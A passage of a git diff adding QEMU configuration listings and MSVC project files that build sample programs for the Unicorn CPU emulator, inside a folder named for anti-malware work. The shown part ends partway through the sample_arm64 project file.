+-I$(SRC_PATH)/target-$(TARGET_BASE_ARCH) +-I$(SRC_PATH)/include +-include x86_64.h + + defines +-D__USE_MINGW_ANSI_STDIO=1 +-DWIN32_LEAN_AND_MEAN +-DWINVER=0x501 +-D_GNU_SOURCE +-D_FILE_OFFSET_BITS=64 +-D_LARGEFILE_SOURCE +-DNEED_CPU_H +-DUNICORN_HAS_X86 +-DUNICORN_HAS_ARM +-DUNICORN_HAS_M68K +-DUNICORN_HAS_ARM64 +-DUNICORN_HAS_MIPS +-DUNICORN_HAS_MIPSEL +-DUNICORN_HAS_MIPS64 +-DUNICORN_HAS_MIPS64EL +-DUNICORN_HAS_SPARC + + + qemu/config-host.mak + extra_cflags=-m32 -DUNICORN_HAS_X86 -DUNICORN_HAS_ARM -DUNICORN_HAS_M68K -DUNICORN_HAS_ARM64 -DUNICORN_HAS_MIPS -DUNICORN_HAS_MIPSEL -DUNICORN_HAS_MIPS64 -DUNICORN_HAS_MIPS64EL -DUNICORN_HAS_SPARC -fPIC + extra_ldflags= + libs_softmmu= + ARCH=i386 + CONFIG_WIN32=y + CONFIG_FILEVERSION=2,2,1,0 + CONFIG_PRODUCTVERSION=2,2,1,0 + VERSION=2.2.1 + PKGVERSION= + SRC_PATH=/f/GitHub/unicorn/qemu + TARGET_DIRS=x86_64-softmmu arm-softmmu m68k-softmmu aarch64-softmmu mips-softmmu mipsel-softmmu mips64-softmmu mips64el-softmmu sparc-softmmu sparc64-softmmu + GLIB_CFLAGS=-pthread -mms-bitfields -IC:/msys64/mingw32/include/glib-2.0 -IC:/msys64/mingw32/lib/glib-2.0/include + CONFIG_ZERO_MALLOC=y + CONFIG_CPUID_H=y + CONFIG_THREAD_SETNAME_BYTHREAD=y + CONFIG_PTHREAD_SETNAME_NP=y + CFLAGS=-pthread -mms-bitfields -IC:/msys64/mingw32/include/glib-2.0 -IC:/msys64/mingw32/lib/glib-2.0/include -g + + QEMU_CFLAGS=-m32 -D__USE_MINGW_ANSI_STDIO=1 -DWIN32_LEAN_AND_MEAN -DWINVER=0x501 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -DUNICORN_HAS_X86 -DUNICORN_HAS_ARM -DUNICORN_HAS_M68K -DUNICORN_HAS_ARM64 -DUNICORN_HAS_MIPS -DUNICORN_HAS_MIPSEL -DUNICORN_HAS_MIPS64 -DUNICORN_HAS_MIPS64EL -DUNICORN_HAS_SPARC -fPIC + QEMU_INCLUDES=-I$(SRC_PATH)/tcg -I$(SRC_PATH)/tcg/$(ARCH) -I. -I$(SRC_PATH) -I$(SRC_PATH)/include + LDFLAGS=-Wl,--nxcompat -Wl,--no-seh -Wl,--dynamicbase -Wl,--warn-common -m32 -g + LIBS+=-LC:/msys64/mingw32/lib -lgthread-2.0 -pthread -lglib-2.0 -lintl -lwinmm -lws2_32 -liphlpapi -lz + + + qemu/x86_64-softmmu/Makefile + QEMU_CFLAGS += -I.. -I$(SRC_PATH)/target-$(TARGET_BASE_ARCH) -DNEED_CPU_H + QEMU_CFLAGS+=-I$(SRC_PATH)/include + + + qemu/x86_64-softmmu/config-target.mak + TARGET_X86_64=y + TARGET_NAME=x86_64 + TARGET_BASE_ARCH=i386 + TARGET_ABI_DIR=x86_64 + CONFIG_SOFTMMU=y + LDFLAGS+= + QEMU_CFLAGS+= + QEMU_CFLAGS+=-include x86_64.h + + + qemu/x86_64-softmmu/config-devices.mak + CONFIG_VGA=y + CONFIG_QXL=$(CONFIG_SPICE) + CONFIG_VGA_PCI=y + CONFIG_VGA_ISA=y + CONFIG_VGA_CIRRUS=y + CONFIG_VMWARE_VGA=y + CONFIG_VMMOUSE=y + CONFIG_SERIAL=y + CONFIG_PARALLEL=y + CONFIG_I8254=y + CONFIG_PCSPK=y + CONFIG_PCKBD=y + CONFIG_FDC=y + CONFIG_ACPI=y + CONFIG_APM=y + CONFIG_I8257=y + CONFIG_IDE_ISA=y + CONFIG_IDE_PIIX=y + CONFIG_NE2000_ISA=y + CONFIG_PIIX_PCI=y + CONFIG_HPET=y + CONFIG_APPLESMC=y + CONFIG_I8259=y + CONFIG_PFLASH_CFI01=y + CONFIG_TPM_TIS=$(CONFIG_TPM) + CONFIG_PCI_HOTPLUG_OLD=y + CONFIG_MC146818RTC=y + CONFIG_PAM=y + CONFIG_PCI_PIIX=y + CONFIG_WDT_IB700=y + CONFIG_XEN_I386=$(CONFIG_XEN) + CONFIG_ISA_DEBUG=y + CONFIG_ISA_TESTDEV=y + CONFIG_VMPORT=y + CONFIG_SGA=y + CONFIG_LPC_ICH9=y + CONFIG_PCI_Q35=y + CONFIG_APIC=y + CONFIG_IOAPIC=y + CONFIG_ICC_BUS=y + CONFIG_PVPANIC=y + CONFIG_MEM_HOTPLUG=y + CONFIG_PCI=y + CONFIG_VIRTIO_PCI=y + CONFIG_VIRTIO=y + CONFIG_USB_UHCI=y + CONFIG_USB_OHCI=y + CONFIG_USB_EHCI=y + CONFIG_USB_XHCI=y + CONFIG_NE2000_PCI=y + CONFIG_EEPRO100_PCI=y + CONFIG_PCNET_PCI=y + CONFIG_PCNET_COMMON=y + CONFIG_AC97=y + CONFIG_HDA=y + CONFIG_ES1370=y + CONFIG_LSI_SCSI_PCI=y + CONFIG_VMW_PVSCSI_SCSI_PCI=y + CONFIG_MEGASAS_SCSI_PCI=y + CONFIG_RTL8139_PCI=y + CONFIG_E1000_PCI=y + CONFIG_VMXNET3_PCI=y + CONFIG_IDE_CORE=y + CONFIG_IDE_QDEV=y + CONFIG_IDE_PCI=y + CONFIG_AHCI=y + CONFIG_ESP=y + CONFIG_ESP_PCI=y + CONFIG_SERIAL=y + CONFIG_SERIAL_PCI=y + CONFIG_IPACK=y + CONFIG_WDT_IB6300ESB=y + CONFIG_PCI_TESTDEV=y + CONFIG_NVME_PCI=y + CONFIG_SB16=y + CONFIG_ADLIB=y + CONFIG_GUS=y + CONFIG_CS4231A=y + CONFIG_USB_TABLET_WACOM=y + CONFIG_USB_STORAGE_BOT=y + CONFIG_USB_STORAGE_UAS=y + CONFIG_USB_STORAGE_MTP=y + CONFIG_USB_SMARTCARD=y + CONFIG_USB_AUDIO=y + CONFIG_USB_SERIAL=y + CONFIG_USB_NETWORK=y + CONFIG_USB_BLUETOOTH=y + + + diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/mem_apis/mem_apis.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/mem_apis/mem_apis.vcxproj new file mode 100644 index 0000000..5d1064b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/mem_apis/mem_apis.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{9D588288-5A28-4AB3-96EA-442CAA508F8E}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>mem_apis</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\mem_apis.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/mem_apis/mem_apis.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/mem_apis/mem_apis.vcxproj.filters new file mode 100644 index 0000000..570aef1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/mem_apis/mem_apis.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\mem_apis.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm/sample_arm.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm/sample_arm.vcxproj new file mode 100644 index 0000000..b1a88f4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm/sample_arm.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{9F32C692-9106-43AF-A291-779A2D8BE096}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_arm</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_arm.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm/sample_arm.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm/sample_arm.vcxproj.filters new file mode 100644 index 0000000..76c03db --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm/sample_arm.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_arm.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64/sample_arm64.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64/sample_arm64.vcxproj new file mode 100644 index 0000000..d61b4ae --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64/sample_arm64.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{04DC0E3A-F247-45C2-AE27-8DE7493AA43B}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_arm64</RootNamespace> + </PropertyGroup> + <Import 